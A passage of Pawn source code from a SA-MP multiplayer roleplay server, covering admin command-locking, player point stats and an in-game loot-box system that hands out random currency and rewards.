					  format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s has been set %s's fightstyle to %s.", PINFO[playerid][pName], PINFO[playa][pName], fstring);
					   ABroadCast(COLOR_AdminWarn,string, 5);
					}
				}
			}
			else
			{
				SendClientMessage(playerid, COLOR_GRAD1, "You're not authorized to use that command.");
			}
		}
		return 1;
	}

	if(strcmp(cmd, "/lockcommand", true) == 0 || strcmp(cmd, "/lockcmd", true) == 0)
	{
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /LockCommand <PlayerID/PartOfName>");
		new taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
		if(PINFO[playerid][pAdmin] < PINFO[taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(CmdLocked[taraf] == true)
		{
		   CmdLocked[taraf] = false;
		   SCM(playerid, COLOR_SINA2, "[Lock-Command]: That player commands was unblocked!");
		  format(string, sizeof(string), "[Lock-Command] Your commands was unblocked by admin %s.", PlayerInfo[playerid][pName]);
		   SCM(taraf,COLOR_SINA2,string);
		  format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s has been unlocked %s's commands.", PINFO[playerid][pName],PINFO[taraf][pName]);
		  ABroadCast(COLOR_AdminWarn,string,1);
		}
		else
		{
		CmdLocked[taraf] = true;
		SCM(playerid, COLOR_SINA2, "[Lock-Command]: That player commands was blocked!");
	   format(string, sizeof(string), "[Lock-Command] Your commands was blocked by admin %s.", PlayerInfo[playerid][pName]);
	   SCM(taraf,COLOR_SINA2,string);
		SCM(taraf, COLOR_SINA2, "[Lock-Command]: Your commands was blocked.");
	   format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s has been locked %s's commands.", PINFO[playerid][pName],PINFO[taraf][pName]);
	   ABroadCast(COLOR_AdminWarn,string,1);
		}
		return 1;
	}
	/*
		if(strcmp(cmd, "/eban", true) == 0 || strcmp(cmd, "/ekick", true) == 0)
	{
	   if(EventHave == false) return SCM(playerid,COLOR_EVENT,"There isn't any event.");
		if(playerid != EventOrg && PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /eBan <PlayerID/PartOfName>");
		new taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
		if(EventPlayer[taraf] == 0)
		{
		SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in event.");
		return 1;
		}
		if(EventBan[taraf] == 1)
		{
		   EventBan[taraf] = 0;
		   SCM(playerid, COLOR_SINARANG, "[EVENT]: That player has been unbanned from event.");
		  format(string, sizeof(string), "[EVENT]: You're unbanned from event by %s.", PlayerInfo[playerid][pName]);
		  SCM(taraf,COLOR_SINARANG,string);
		}
		else if(EventBan[taraf] == 0)
		{
		EventBan[taraf] = 1;
		SCM(playerid, COLOR_SINARANG, "[EVENT]: That player has been banned from event.");
	   format(string, sizeof(string), "[EVENT]: You're banned from event by %s.", PlayerInfo[playerid][pName]);
	   SCM(taraf,COLOR_SINARANG,string);
		SetPlayerVirtualWorld(taraf, 0);
		EventPlayer[taraf] = 0;
		TogglePlayerControllable(taraf, 1);
		OnFreeze[taraf] = 0;
		ResetPlayerKolang(taraf);
		SpawnPlayer(taraf);
		}
		return 1;
	}
	*/

	// End Of This Command

	// My Email ;)
	if(strcmp(cmd, "/myemail", true) == 0)
	{
//	new string[144];
	format(string, sizeof(string), "Your email address is: %s", PlayerInfo[playerid][pEmail]);
	SCM(playerid,COLOR_SINARANG,string);
	return 1;
	}
	if(strcmp(cmd, "/StaffShopStats", true) == 0)
	{
	if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
	SendMessage(playerid, CRISTIAN,"_______________________________________________");
	if(PINFO[playerid][pPoint] == 1)
	{
//	new string[512];
	format(string, sizeof(string), "{FF0000}[SHOP-POINT]:{00FF00} You've{FF00FF} %d{00FF00} shop point.", PlayerInfo[playerid][pPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	if(PINFO[playerid][pPoint] >= 2)
	{
	//new string[512];
	format(string, sizeof(string), "{FF0000}[SHOP-POINTS]:{00FF00} You've{FF00FF} %d{00FF00} shop points.", PlayerInfo[playerid][pPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	if(PINFO[playerid][pPoint] == 0)
	{
	//new string[512];
	format(string, sizeof(string), "{FF0000}[SHOP-POINT]:{00FF00} You haven't {FF00FF}any{00FF00} shop point.", PlayerInfo[playerid][pPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	if(PINFO[playerid][pSPoint] == 1)
	{
//	new string[512];
	format(string, sizeof(string), "{FF0000}[STAFF-POINT]:{00FF00} You've{FF00FF} %d{00FF00} staff point.", PlayerInfo[playerid][pSPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	if(PINFO[playerid][pSPoint] >= 2)
	{
//	new string[512];
	format(string, sizeof(string), "{FF0000}[STAFF-POINTS]:{00FF00} You've{FF00FF} %d{00FF00} staff points.", PlayerInfo[playerid][pSPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	if(PINFO[playerid][pSPoint] == 0)
	{
//	new string[512];
	format(string, sizeof(string), "{FF0000}[STAFF-POINT]:{00FF00} You haven't {FF00FF}any{00FF00} staff point.", PlayerInfo[playerid][pSPoint]);
	SCM(playerid,COLOR_SINA2,string);
	}
	SendMessage(playerid, CRISTIAN,"_______________________________________________");
	return 1;
	}
/*
	// My Email- Ranger ;)
	if(strcmp(cmd, "/myhoster", true) == 0)
	{
	if(PINFO[playerid][pAdmin] >= 7 && PINFO[playerid][pAdmin] < 10)
	{
	SCM(playerid, COLOR_GREEN, "_________________________[Hoster-Stats]_______________________________");
	 if(PINFO[playerid][pHDay] == 1)
	 {
	  format(string, sizeof(string), "{FF00FF}[Expire-Date]: {FFFFFF}Dear {FF0000}%s{FFFFFF}, You have {FF0000}%d{FFFFFF} day to your Hoster Expire Date.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pHDay]);
	  SCM(playerid,COLOR_SINA2,string);
	  //return 1;
	  }
	  if(PlayerInfo[playerid][pHDay] >= 1)
	  {
	   format(string, sizeof(string), "{FF00FF}[Expire-Date]: {FFFFFF}Dear {FF0000}%s{FFFFFF}, You have {FF0000}%d{FFFFFF} days to your Hoster Expire Date.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pHDay]);
	   SCM(playerid,COLOR_SINA2,string);
	   //return 1;
	   }
			if(PlayerInfo[playerid][pHAgr] == 0)
		{
		format(string, sizeof(string), "{FF00FF}[Hoster-License]:{FFFF00} You {FF0000}don't have{FFFF00} Hoster-License.");
		SendMessage(playerid, COLOR_SINA2, string);
		//return 1;
		}
		if(PlayerInfo[playerid][pHAgr] >= 1)
		{
		format(string, sizeof(string), "{FF00FF}[Hoster-License]:{FFFF00} You {00FF00}have{FFFF00} Hoster-License.");
		SendMessage(playerid, COLOR_SINA2, string);
		//return 1;
		}
			SCM(playerid, COLOR_GREEN, "|_________________________[Hoster-Stats]_______________________________|");

}
else
{
  SCM(playerid, COLOR_YELLOW2, "Error: You are not hoster.");
  return 1;
}
   return 1;
	}

*/


/*
if(strcmp(cmd, "/CheckHDay", true) == 0 || strcmp(cmd, "/CheckHosterDay", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /CheckHosterDay <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PlayerInfo[target][pAdmin] == 7 || PlayerInfo[target][pAdmin] == 8 || PlayerInfo[target][pAdmin] == 9)
		  {
			//if(PINFO[target][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: He/She is your higher admin than you.");
			//if(target == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't see your StaffActivity, You should use /MySActivity.");
	   if(PlayerInfo[target][pHDay] >= 1)
	   {
	   new sttrr[256];
		format(string, sizeof(string), "{FF0000}%s{FFFFFF}, has {FF0000}%d{FFFFFF} days to his/her Hoster Expire Date.", PlayerInfo[target][pName], PlayerInfo[target][pHDay]);
		SendClientMessage(playerid, COLOR_SINA2, string);
	   format(sttrr,256,"{FFFFFF}Admin %s seen %s's Hoster Expire Time Date.", PINFO[playerid][pName], PINFO[target][pName]);
	   AdminWarn(sttrr);
		return 1;
		}
	   if(PlayerInfo[target][pHDay] == 1)
	   {
	   new sttrr[256];
		format(string, sizeof(string), "{FF0000}%s{FFFFFF}, has {FF0000}%d{FFFFFF} day to his/her Hoster Expire Date.", PlayerInfo[target][pName], PlayerInfo[target][pHDay]);
		SendClientMessage(playerid, COLOR_SINA2, string);
	   format(sttrr,256,"{FFFFFF}Admin %s seen %s's Hoster Expire Time Date.", PINFO[playerid][pName], PINFO[target][pName]);
	   AdminWarn(sttrr);
		return 1;
		}
	   return 1;
		}
		else
		{
		SCM(playerid, COLOR_YELLOW2, "Error: He/She isn't hoster.");
		}
		   }



*/


 // My Box by SiNaGaMeR
 if(strcmp(cmd, "/GetBox", true) == 0)
		{
		if(!PlayerToPoint(3.0, playerid, 1368.1357, -1152.3834, 22.9117)) return SendMessage(playerid, COLOR_RED, "Error: You must be close to Box-Place.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PlayerInfo[playerid][pLevel] < 3)
		{
		SCM(playerid, COLOR_YELLOW2, "Error: You must be level 3 or higher to get Boxes.");
		return 1;
		}
		if(PlayerInfo[playerid][pGBox] == 1)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}You should play {FF0000}1{FF00FF} hour more to get new box.");
		return 1;
		}
		if(PlayerInfo[playerid][pGBox] == 2)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}You should play {FF0000}2{FF00FF} hours more to get new box.");
		return 1;
		}
		if(PlayerInfo[playerid][pGBox] == 3)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}You should play {FF0000}3{FF00FF} hours more to get new box.");
		return 1;
		}
	   PlayerInfo[playerid][pBox]++;
	   SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
	   //
		PlayerInfo[playerid][pGBox] += 3;
		SaveKonVal(playerid, "pGBox", PlayerInfo[playerid][pGBox]);
	   //
		SCM(playerid, COLOR_SINA2, "[BOX]:{FF0000} You got {FF00FF}1{FF0000} box for {FF00FF}free{FF0000}.");
		new strchat[180];
		format(strchat, sizeof(strchat), "Box Shouts: Hope you lucky %s!", PlayerInfo[playerid][pName]);
		ProxDetector(30.0, playerid, strchat,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_FADE1,COLOR_FADE2);
	   return 1;
	   }
	   if(strcmp(cmd, "/MyBoxes", true) == 0)
		{
		if(PlayerInfo[playerid][pBox] == 1)
		{
//		new string[512];
		format(string, sizeof(string), "[BOX-POCKET]:{FF00FF} Dear {FF0000}%s{FF00FF}, you only have {FF0000}%d{FF00FF} box.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pBox]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pBox] == 0)
		{
	//	new string[512];
		format(string, sizeof(string), "[BOX-POCKET]:{FF00FF} Dear {FF0000}%s{FF00FF}, you don't have any boxes ( {FF0000}%d{FF00FF} ).", PlayerInfo[playerid][pName], PlayerInfo[playerid][pBox]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		if(PlayerInfo[playerid][pBox] >= 1)
		{
	//	new string[512];
		format(string, sizeof(string), "[BOX-POCKET]:{FF00FF} Dear {FF0000}%s{FF00FF}, you have {FF0000}%d{FF00FF} boxes.", PlayerInfo[playerid][pName], PlayerInfo[playerid][pBox]);
		SendClientMessage(playerid, COLOR_SINA2, string);
		return 1;
		}
		}
	   if(strcmp(cmd, "/BuyBox", true) == 0)
		{
		if(!PlayerToPoint(3.0, playerid, 1368.1357, -1152.3834, 22.9117)) return SendMessage(playerid, COLOR_RED, "Error: You must be close to Box-Place.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PlayerInfo[playerid][pLevel] < 3)
		{
		SCM(playerid, COLOR_YELLOW2, "Error: You must be level 3 or higher to buy Box.");
		return 1;
		}
		if(GetPlayerPool(playerid) < 15000) return SCM(playerid,COLOR_SINA3,"Error: You haven't enough money to buy box.");
		/*
		if(PlayerInfo[playerid][pGBox] == 1)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}Mariana: You should play {FF0000}1{FF00FF} hours more to access to new box.");
		return 1;
		}
		if(PlayerInfo[playerid][pGBox] == 2)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}Mariana: You should play {FF0000}2{FF00FF} hours more to access to new box.");
		return 1;
		}
		if(PlayerInfo[playerid][pGBox] == 3)
		{
		SCM(playerid, COLOR_SINA2, "{FF00FF}Mariana: You should play {FF0000}3{FF00FF} hours more to access to new box.");
		return 1;
		}
		*/
		GivePlayerPool(playerid, -15000);
	   PlayerInfo[playerid][pBox]++;
	   SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
	   SCM(playerid, COLOR_SINA2, "[BOX]:{FF0000} You bought {FF00FF}1{FF0000} box{FF0000} for {FF00FF}$15,000{FF0000}.");
		new strchat[180];
		format(strchat, sizeof(strchat), "Box Shouts: Hope you lucky %s!", PlayerInfo[playerid][pName]);
		ProxDetector(30.0, playerid, strchat,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_FADE1,COLOR_FADE2);
	   return 1;
	   }
		if(strcmp(cmd, "/OpenBox", true) == 0)
		{
		if(PlayerInfo[playerid][pBox] == 0)
		{
		SCM(playerid, COLOR_YELLOW2, "Error: You don't have any box.");
		return 1;
		}
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(boxtimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "Error: You must wait 3 seconds to open another box.");
		if(PlayerInfo[playerid][pBox] >= 1)
		{
		new marizam[144];
		new RangerRand = RandomShomare(1,20);
		 if(RangerRand == 1)
		 {
		 new RandomKon = RandomShomare(850,3658);
	     new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 2)
		 {
		 new RandomKon = RandomShomare(210,742);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 3)
		 {
		 new RandomKon = RandomShomare(4465,11098);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 4)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 5)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 6)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 7)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 8)
		 {
		 new RandomKon = RandomShomare(4465,11098);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 9)
		 {
		 new RandomKon = RandomShomare(8034,19605);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 10)
		 {
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 PlayerInfo[playerid][pBox]++;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}another box",PINFO[playerid][pName]);
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 11)
		 {
		 new RandomKon = RandomShomare(2,4);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 PlayerInfo[playerid][pExp]+=RandomPrize;
		 SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}%s respect points",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 12)
		 {
		 new RandomKon = RandomShomare(30548,37980);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 13)
		 {
		 new RandomKon = RandomShomare(4,10);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 PlayerInfo[playerid][pGold] += RandomPrize;
		 SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}%s golds",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 14)
		 {
		 new RandomKon = RandomShomare(800,60710);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 GivePlayerPool(playerid, RandomPrize);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}$%s",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 15)
		 {
		 new RandomKon = RandomShomare(1,3);
		 new RandomPrize = RandomKon;
		 PlayerInfo[playerid][pBox]--;
		 SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
		 PlayerInfo[playerid][pIlPoints] += RandomPrize;
		 SaveKonVal(playerid, "pIlPoints", PINFO[playerid][pIlPoints]);
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and earned {ffffff}%s illicit points",PINFO[playerid][pName], FormatNumber(RandomPrize));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
		 BOXTIMEKILLER[playerid] = SetTimerEx("boxtime", 3000, 0, "d", playerid);
		 return 1;
		 }
		 if(RangerRand == 16)
		 {
		 format(marizam,144," {ffffff}%s{ff6347} has opened a box and didn't earn anything but %s box didn't gone",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
		 ProxDetector(15.0, playerid, marizam, COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED,COLOR_LIGHTRED);
	     for(new q = 0; q < MAX_PLAYERS; q++)
	     {
	     if(IsPlayerConnected(q))
	     {
		 if(ProxDetectorS(15,q,playerid))
         {
         PlayerPlaySound(q, 17802, 0.0, 0.0, 0.0);
         }
         }
         }
		 boxtimer[playerid] = 1;
